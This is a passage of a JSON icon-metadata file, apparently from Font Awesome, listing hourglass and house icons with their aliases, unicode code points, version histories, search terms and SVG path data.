        "path": "M0 24C0 10.7 10.7 0 24 0H360c13.3 0 24 10.7 24 24s-10.7 24-24 24h-8V67c0 40.3-16 79-44.5 107.5L225.9 256l81.5 81.5C336 366 352 404.7 352 445v19h8c13.3 0 24 10.7 24 24s-10.7 24-24 24H24c-13.3 0-24-10.7-24-24s10.7-24 24-24h8V445c0-40.3 16-79 44.5-107.5L158.1 256 76.5 174.5C48 146 32 107.3 32 67V48H24C10.7 48 0 37.3 0 24zM110.5 371.5c-3.9 3.9-7.5 8.1-10.7 12.5H284.2c-3.2-4.4-6.8-8.6-10.7-12.5L192 289.9l-81.5 81.5zM284.2 128C297 110.4 304 89 304 67V48H80V67c0 22.1 7 43.4 19.8 61H284.2z"
      }
    },
    "free": ["regular", "solid"]
  },
  "hourglass-start": {
    "aliases": {
      "names": ["hourglass-1"],
      "unicodes": {
        "secondary": ["10f251"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["hour", "minute", "sand", "stopwatch", "time"]
    },
    "styles": ["solid"],
    "unicode": "f251",
    "label": "Hourglass Start",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M32 0C14.3 0 0 14.3 0 32S14.3 64 32 64V75c0 42.4 16.9 83.1 46.9 113.1L146.7 256 78.9 323.9C48.9 353.9 32 394.6 32 437v11c-17.7 0-32 14.3-32 32s14.3 32 32 32H64 320h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V437c0-42.4-16.9-83.1-46.9-113.1L237.3 256l67.9-67.9c30-30 46.9-70.7 46.9-113.1V64c17.7 0 32-14.3 32-32s-14.3-32-32-32H320 64 32zM288 437v11H96V437c0-25.5 10.1-49.9 28.1-67.9L192 301.3l67.9 67.9c18 18 28.1 42.4 28.1 67.9z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M32 0C14.3 0 0 14.3 0 32S14.3 64 32 64V75c0 42.4 16.9 83.1 46.9 113.1L146.7 256 78.9 323.9C48.9 353.9 32 394.6 32 437v11c-17.7 0-32 14.3-32 32s14.3 32 32 32H64 320h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V437c0-42.4-16.9-83.1-46.9-113.1L237.3 256l67.9-67.9c30-30 46.9-70.7 46.9-113.1V64c17.7 0 32-14.3 32-32s-14.3-32-32-32H320 64 32zM288 437v11H96V437c0-25.5 10.1-49.9 28.1-67.9L192 301.3l67.9 67.9c18 18 28.1 42.4 28.1 67.9z"
      }
    },
    "free": ["solid"]
  },
  "house": {
    "aliases": {
      "names": ["home", "home-alt", "home-lg-alt"],
      "unicodes": {
        "composite": ["1f3e0", "f80a", "f80c"],
        "primary": ["f80a", "f80c"],
        "secondary": ["10f015", "10f80a", "10f80c"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.7.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["abode", "building", "home", "house", "main", "residence"]
    },
    "styles": ["solid"],
    "unicode": "f015",
    "label": "House",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M575.8 255.5c0 18-15 32.1-32 32.1h-32l.7 160.2c0 2.7-.2 5.4-.5 8.1V472c0 22.1-17.9 40-40 40H456c-1.1 0-2.2 0-3.3-.1c-1.4 .1-2.8 .1-4.2 .1H416 392c-22.1 0-40-17.9-40-40V448 384c0-17.7-14.3-32-32-32H256c-17.7 0-32 14.3-32 32v64 24c0 22.1-17.9 40-40 40H160 128.1c-1.5 0-3-.1-4.5-.2c-1.2 .1-2.4 .2-3.6 .2H104c-22.1 0-40-17.9-40-40V360c0-.9 0-1.9 .1-2.8V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L564.8 231.5c8 7 12 15 11 24z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M575.8 255.5c0 18-15 32.1-32 32.1h-32l.7 160.2c0 2.7-.2 5.4-.5 8.1V472c0 22.1-17.9 40-40 40H456c-1.1 0-2.2 0-3.3-.1c-1.4 .1-2.8 .1-4.2 .1H416 392c-22.1 0-40-17.9-40-40V448 384c0-17.7-14.3-32-32-32H256c-17.7 0-32 14.3-32 32v64 24c0 22.1-17.9 40-40 40H160 128.1c-1.5 0-3-.1-4.5-.2c-1.2 .1-2.4 .2-3.6 .2H104c-22.1 0-40-17.9-40-40V360c0-.9 0-1.9 .1-2.8V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L564.8 231.5c8 7 12 15 11 24z"
      }
    },
    "free": ["solid"]
  },
  "house-chimney": {
    "aliases": {
      "names": ["home-lg"],
      "unicodes": {
        "composite": ["f80b"],
        "primary": ["f80b"],
        "secondary": ["10f80b"]
      }
    },
    "changes": [
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "abode",
        "building",
        "chimney",
        "house",
        "main",
        "residence",
        "smokestack"
      ]
    },
    "styles": ["solid"],
    "unicode": "e3af",
    "label": "House Chimney",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M543.8 287.6c17 0 32-14 32-32.1c1-9-3-17-11-24L512 185V64c0-17.7-14.3-32-32-32H448c-17.7 0-32 14.3-32 32v36.7L309.5 7c-6-5-14-7-21-7s-15 1-22 8L10 231.5c-7 7-10 15-10 24c0 18 14 32.1 32 32.1h32v69.7c-.1 .9-.1 1.8-.1 2.8V472c0 22.1 17.9 40 40 40h16c1.2 0 2.4-.1 3.6-.2c1.5 .1 3 .2 4.5 .2H160h24c22.1 0 40-17.9 40-40V448 384c0-17.7 14.3-32 32-32h64c17.7 0 32 14.3 32 32v64 24c0 22.1 17.9 40 40 40h24 32.5c1.4 0 2.8 0 4.2-.1c1.1 .1 2.2 .1 3.3 .1h16c22.1 0 40-17.9 40-40V455.8c.3-2.6 .5-5.3 .5-8.1l-.7-160.2h32z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M543.8 287.6c17 0 32-14 32-32.1c1-9-3-17-11-24L512 185V64c0-17.7-14.3-32-32-32H448c-17.7 0-32 14.3-32 32v36.7L309.5 7c-6-5-14-7-21-7s-15 1-22 8L10 231.5c-7 7-10 15-10 24c0 18 14 32.1 32 32.1h32v69.7c-.1 .9-.1 1.8-.1 2.8V472c0 22.1 17.9 40 40 40h16c1.2 0 2.4-.1 3.6-.2c1.5 .1 3 .2 4.5 .2H160h24c22.1 0 40-17.9 40-40V448 384c0-17.7 14.3-32 32-32h64c17.7 0 32 14.3 32 32v64 24c0 22.1 17.9 40 40 40h24 32.5c1.4 0 2.8 0 4.2-.1c1.1 .1 2.2 .1 3.3 .1h16c22.1 0 40-17.9 40-40V455.8c.3-2.6 .5-5.3 .5-8.1l-.7-160.2h32z"
      }
    },
    "free": ["solid"]
  },
  "house-chimney-crack": {
    "aliases": {
      "names": ["house-damage"],
      "unicodes": {
        "secondary": ["10f6f1"]
      }
    },
    "changes": [
      "5.4.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "building",
        "devastation",
        "disaster",
        "earthquake",
        "home",
        "insurance"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6f1",
    "label": "House Chimney Crack",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M575.8 255.5c0 18-15 32.1-32 32.1h-32l.7 160.2c.2 35.5-28.5 64.3-64 64.3H326.4L288 448l80.8-67.3c7.8-6.5 7.6-18.6-.4-24.9L250.6 263.2c-14.6-11.5-33.8 7-22.8 22L288 368l-85.5 71.2c-6.1 5-7.5 13.8-3.5 20.5L230.4 512H128.1c-35.3 0-64-28.7-64-64V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L416 100.7V64c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32V185l52.8 46.4c8 7 12 15 11 24z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M575.8 255.5c0 18-15 32.1-32 32.1h-32l.7 160.2c.2 35.5-28.5 64.3-64 64.3H326.4L288 448l80.8-67.3c7.8-6.5 7.6-18.6-.4-24.9L250.6 263.2c-14.6-11.5-33.8 7-22.8 22L288 368l-85.5 71.2c-6.1 5-7.5 13.8-3.5 20.5L230.4 512H128.1c-35.3 0-64-28.7-64-64V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L416 100.7V64c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32V185l52.8 46.4c8 7 12 15 11 24z"
      }
    },
    "free": ["solid"]
  },
  "house-chimney-medical": {
    "aliases": {
      "names": ["clinic-medical"],
      "unicodes": {
        "secondary": ["10f7f2"]
      }
    },
    "changes": [
      "5.7.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "covid-19",
        "doctor",
        "general practitioner",
        "hospital",
        "infirmary",
        "medicine",
        "office",
        "outpatient"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7f2",
    "label": "House Chimney Medical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M575.8 255.5c0 18-15 32.1-32 32.1h-32l.7 160.2c.2 35.5-28.5 64.3-64 64.3H128.1c-35.3 0-64-28.7-64-64V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L416 100.7V64c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32V185l52.8 46.4c8 7 12 15 11 24zM272 192c-8.8 0-16 7.2-16 16v48H208c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320h48c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H320V208c0-8.8-7.2-16-16-16H272z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M575.8 255.5c0 18-15 32.1-32 32.1h-32l.7 160.2c.2 35.5-28.5 64.3-64 64.3H128.1c-35.3 0-64-28.7-64-64V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L416 100.7V64c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32V185l52.8 46.4c8 7 12 15 11 24zM272 192c-8.8 0-16 7.2-16 16v48H208c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320h48c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H320V208c0-8.8-7.2-16-16-16H272z"
      }
    },
    "free": ["solid"]
  },
  "house-chimney-user": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e065"]
      }
    },
    "changes": [
      "5.13.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["covid-19", "home", "isolation", "quarantine"]
    },
    "styles": ["solid"],
    "unicode": "e065",
    "label": "House Chimney User",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M543.8 287.6c17 0 32-14 32-32.1c1-9-3-17-11-24L512 185V64c0-17.7-14.3-32-32-32H448c-17.7 0-32 14.3-32 32v36.7L309.5 7c-6-5-14-7-21-7s-15 1-22 8L10 231.5c-7 7-10 15-10 24c0 18 14 32.1 32 32.1h32V448c0 35.3 28.7 64 64 64H448.5c35.5 0 64.2-28.8 64-64.3l-.7-160.2h32zM288 160a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM176 400c0-44.2 35.8-80 80-80h64c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16H192c-8.8 0-16-7.2-16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M543.8 287.6c17 0 32-14 32-32.1c1-9-3-17-11-24L512 185V64c0-17.7-14.3-32-32-32H448c-17.7 0-32 14.3-32 32v36.7L309.5 7c-6-5-14-7-21-7s-15 1-22 8L10 231.5c-7 7-10 15-10 24c0 18 14 32.1 32 32.1h32V448c0 35.3 28.7 64 64 64H448.5c35.5 0 64.2-28.8 64-64.3l-.7-160.2h32zM288 160a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM176 400c0-44.2 35.8-80 80-80h64c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16H192c-8.8 0-16-7.2-16-16z"
      }
    },
    "free": ["solid"]
  },
  "house-chimney-window": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e00d"]
      }
    },
    "changes": [
      "5.12.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["abode", "building", "family", "home", "residence"]
    },
    "styles": ["solid"],
    "unicode": "e00d",
    "label": "House Chimney Window",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M575.8 255.5c0 18-15 32.1-32 32.1h-32l.7 160.2c.2 35.5-28.5 64.3-64 64.3H128.1c-35.3 0-64-28.7-64-64V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L416 100.7V64c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32V185l52.8 46.4c8 7 12 15 11 24zM248 192c-13.3 0-24 10.7-24 24v80c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V216c0-13.3-10.7-24-24-24H248z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M575.8 255.5c0 18-15 32.1-32 32.1h-32l.7 160.2c.2 35.5-28.5 64.3-64 64.3H128.1c-35.3 0-64-28.7-64-64V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L416 100.7V64c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32V185l52.8 46.4c8 7 12 15 11 24zM248 192c-13.3 0-24 10.7-24 24v80c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V216c0-13.3-10.7-24-24-24H248z"
      }
    },
    "free": ["solid"]
  },
  "house-circle-check": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["abode", "home", "house", "not affected", "ok", "okay"]
    },
    "styles": ["solid"],
    "unicode": "e509",
    "label": "House Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320.7 352c8.1-89.7 83.5-160 175.3-160c8.9 0 17.6 .7 26.1 1.9L309.5 7c-6-5-14-7-21-7s-15 1-22 8L10 231.5c-7 7-10 15-10 24c0 18 14 32.1 32 32.1h32v69.7c-.1 .9-.1 1.8-.1 2.8V472c0 22.1 17.9 40 40 40h16c1.2 0 2.4-.1 3.6-.2c1.5 .1 3 .2 4.5 .2H160h24c22.1 0 40-17.9 40-40V448 384c0-17.7 14.3-32 32-32h64l.7 0zM640 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L480 385.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320.7 352c8.1-89.7 83.5-160 175.3-160c8.9 0 17.6 .7 26.1 1.9L309.5 7c-6-5-14-7-21-7s-15 1-22 8L10 231.5c-7 7-10 15-10 24c0 18 14 32.1 32 32.1h32v69.7c-.1 .9-.1 1.8-.1 2.8V472c0 22.1 17.9 40 40 40h16c1.2 0 2.4-.1 3.6-.2c1.5 .1 3 .2 4.5 .2H160h24c22.1 0 40-17.9 40-40V448 384c0-17.7 14.3-32 32-32h64l.7 0zM640 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L480 385.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z"
      }
    },
    "free": ["solid"]
  },
  "house-circle-exclamation": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["abode", "affected", "home", "house"]
    },
    "styles": ["solid"],
    "unicode": "e50a",
    "label": "House Circle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320.7 352c8.1-89.7 83.5-160 175.3-160c8.9 0 17.6 .7 26.1 1.9L309.5 7c-6-5-14-7-21-7s-15 1-22 8L10 231.5c-7 7-10 15-10 24c0 18 14 32.1 32 32.1h32v69.7c-.1 .9-.1 1.8-.1 2.8V472c0 22.1 17.9 40 40 40h16c1.2 0 2.4-.1 3.6-.2c1.5 .1 3 .2 4.5 .2H160h24c22.1 0 40-17.9 40-40V448 384c0-17.7 14.3-32 32-32h64l.7 0zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320.7 352c8.1-89.7 83.5-160 175.3-160c8.9 0 17.6 .7 26.1 1.9L309.5 7c-6-5-14-7-21-7s-15 1-22 8L10 231.5c-7 7-10 15-10 24c0 18 14 32.1 32 32.1h32v69.7c-.1 .9-.1 1.8-.1 2.8V472c0 22.1 17.9 40 40 40h16c1.2 0 2.4-.1 3.6-.2c1.5 .1 3 .2 4.5 .2H160h24c22.1 0 40-17.9 40-40V448 384c0-17.7 14.3-32 32-32h64l.7 0zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "house-circle-xmark": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["abode", "destroy", "home", "house"]
    },
    "styles": ["solid"],
    "unicode": "e50b",
    "label": "House Circle Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320.7 352c8.1-89.7 83.5-160 175.3-160c8.9 0 17.6 .7 26.1 1.9L309.5 7c-6-5-14-7-21-7s-15 1-22 8L10 231.5c-7 7-10 15-10 24c0 18 14 32.1 32 32.1h32v69.7c-.1 .9-.1 1.8-.1 2.8V472c0 22.1 17.9 40 40 40h16c1.2 0 2.4-.1 3.6-.2c1.5 .1 3 .2 4.5 .2H160h24c22.1 0 40-17.9 40-40V448 384c0-17.7 14.3-32 32-32h64l.7 0zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7L518.6 368l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L496 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L473.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L496 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320.7 352c8.1-89.7 83.5-160 175.3-160c8.9 0 17.6 .7 26.1 1.9L309.5 7c-6-5-14-7-21-7s-15 1-22 8L10 231.5c-7 7-10 15-10 24c0 18 14 32.1 32 32.1h32v69.7c-.1 .9-.1 1.8-.1 2.8V472c0 22.1 17.9 40 40 40h16c1.2 0 2.4-.1 3.6-.2c1.5 .1 3 .2 4.5 .2H160h24c22.1 0 40-17.9 40-40V448 384c0-17.7 14.3-32 32-32h64l.7 0zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7L518.6 368l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L496 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L473.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L496 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z"
      }
    },
    "free": ["solid"]
  },
  "house-crack": {
    "changes": [
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "building",
        "devastation",
        "disaster",
        "earthquake",
        "home",
        "insurance"
      ]
    },
    "styles": ["solid"],
    "unicode": "e3b1",
    "label": "House Crack",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M543.8 287.6c17 0 32-14 32-32.1c1-9-3-17-11-24L309.5 7c-6-5-14-7-21-7s-15 1-22 8L10 231.5c-7 7-10 15-10 24c0 18 14 32.1 32 32.1h32V448c0 35.3 28.7 64 64 64H230.4l-31.3-52.2c-4.1-6.8-2.6-15.5 3.5-20.5L288 368l-60.2-82.8c-10.9-15 8.2-33.5 22.8-22l117.9 92.6c8 6.3 8.2 18.4 .4 24.9L288 448l38.4 64H448.5c35.5 0 64.2-28.8 64-64.3l-.7-160.2h32z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M543.8 287.6c17 0 32-14 32-32.1c1-9-3-17-11-24L309.5 7c-6-5-14-7-21-7s-15 1-22 8L10 231.5c-7 7-10 15-10 24c0 18 14 32.1 32 32.1h32V448c0 35.3 28.7 64 64 64H230.4l-31.3-52.2c-4.1-6.8-2.6-15.5 3.5-20.5L288 368l-60.2-82.8c-10.9-15 8.2-33.5 22.8-22l117.9 92.6c8 6.3 8.2 18.4 .4 24.9L288 448l38.4 64H448.5c35.5 0 64.2-28.8 64-64.3l-.7-160.2h32z"
      }
    },
    "free": ["solid"]
  },
  "house-fire": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["burn", "emergency", "home"]
    },
    "styles": ["solid"],
    "unicode": "e50c",
    "label": "House Fire",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M288 350.1l0 1.9H256c-17.7 0-32 14.3-32 32v64 24c0 22.1-17.9 40-40 40H160 128.1c-1.5 0-3-.1-4.5-.2c-1.2 .1-2.4 .2-3.6 .2H104c-22.1 0-40-17.9-40-40V360c0-.9 0-1.9 .1-2.8V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L447.3 128.1c-12.3-1-25 3-34.8 11.7c-35.4 31.6-65.6 67.7-87.3 102.8C304.3 276.5 288 314.9 288 350.1zM453.5 163.8c19.7 17.8 38.2 37 55.5 57.7c7.9-9.9 16.8-20.7 26.5-29.5c5.6-5.1 14.4-5.1 20 0c24.7 22.7 45.6 52.7 60.4 81.1c14.5 28 24.2 58.8 24.2 79C640 440 568.7 512 480 512c-89.7 0-160-72.1-160-159.8c0-26.4 12.7-60.7 32.4-92.6c20-32.4 48.1-66.1 81.4-95.8c2.8-2.5 6.4-3.8 10-3.7c3.5 0 7 1.3 9.8 3.8zM530 433c30-21 38-63 20-96c-2-4-4-8-7-12l-36 42s-58-74-62-79c-30 37-45 58-45 82c0 49 36 78 81 78c18 0 34-5 49-15z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M288 350.1l0 1.9H256c-17.7 0-32 14.3-32 32v64 24c0 22.1-17.9 40-40 40H160 128.1c-1.5 0-3-.1-4.5-.2c-1.2 .1-2.4 .2-3.6 .2H104c-22.1 0-40-17.9-40-40V360c0-.9 0-1.9 .1-2.8V287.6H32c-18 0-32-14-32-32.1c0-9 3-17 10-24L266.4 8c7-7 15-8 22-8s15 2 21 7L447.3 128.1c-12.3-1-25 3-34.8 11.7c-35.4 31.6-65.6 67.7-87.3 102.8C304.3 276.5 288 314.9 288 350.1zM453.5 163.8c19.7 17.8 38.2 37 55.5 57.7c7.9-9.9 16.8-20.7 26.5-29.5c5.6-5.1 14.4-5.1 20 0c24.7 22.7 45.6 52.7 60.4 81.1c14.5 28 24.2 58.8 24.2 79C640 440 568.7 512 480 512c-89.7 0-160-72.1-160-159.8c0-26.4 12.7-60.7 32.4-92.6c20-32.4 48.1-66.1 81.4-95.8c2.8-2.5 6.4-3.8 10-3.7c3.5 0 7 1.3 9.8 3.8zM530 433c30-21 38-63 20-96c-2-4-4-8-7-12l-36 42s-58-74-62-79c-30 37-45 58-45 82c0 49 36 78 81 78c18 0 34-5 49-15z"
      }
    },
    "free": ["solid"]
  },
  "house-flag": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["camp", "home"]
    },
    "styles": ["solid"],
    "unicode": "e50d",
    "label": "House Flag",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M480 0c-17.7 0-32 14.3-32 32V192 512h64V192H624c8.8 0 16-7.2 16-16V48c0-8.8-7.2-16-16-16H512c0-17.7-14.3-32-32-32zM416 159L276.8 39.7c-12-10.3-29.7-10.3-41.7 0l-224 192C1 240.4-2.7 254.5 2 267.1S18.6 288 32 288H64V480c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32V384c0-17.7 14.3-32 32-32h64c17.7 0 32 14.3 32 32v96c0 17.7 14.3 32 32 32h64.7l.2 0h-1V159z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M480 0c-17.7 0-32 14.3-32 32V192 512h64V192H624c8.8 0 16-7.2 16-16V48c0-8.8-7.2-16-16-16H512c0-17.7-14.3-32-32-32zM416 159L276.8 39.7c-12-10.3-29.7-10.3-41.7 0l-224 192C1 240.4-2.7 254.5 2 267.1S18.6 288 32 288H64V480c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32V384c0-17.7 14.3-32 32-32h64c17.7 0 32 14.3 32 32v96c0 17.7 14.3 32 32 32h64.7l.2 0h-1V159z"
      }
    },
    "free": ["solid"]
  },
  "house-flood-water": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["damage", "flood", "water"]
    },
    "styles": ["solid"],
    "unicode": "e50e",
    "label": "House Flood Water",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
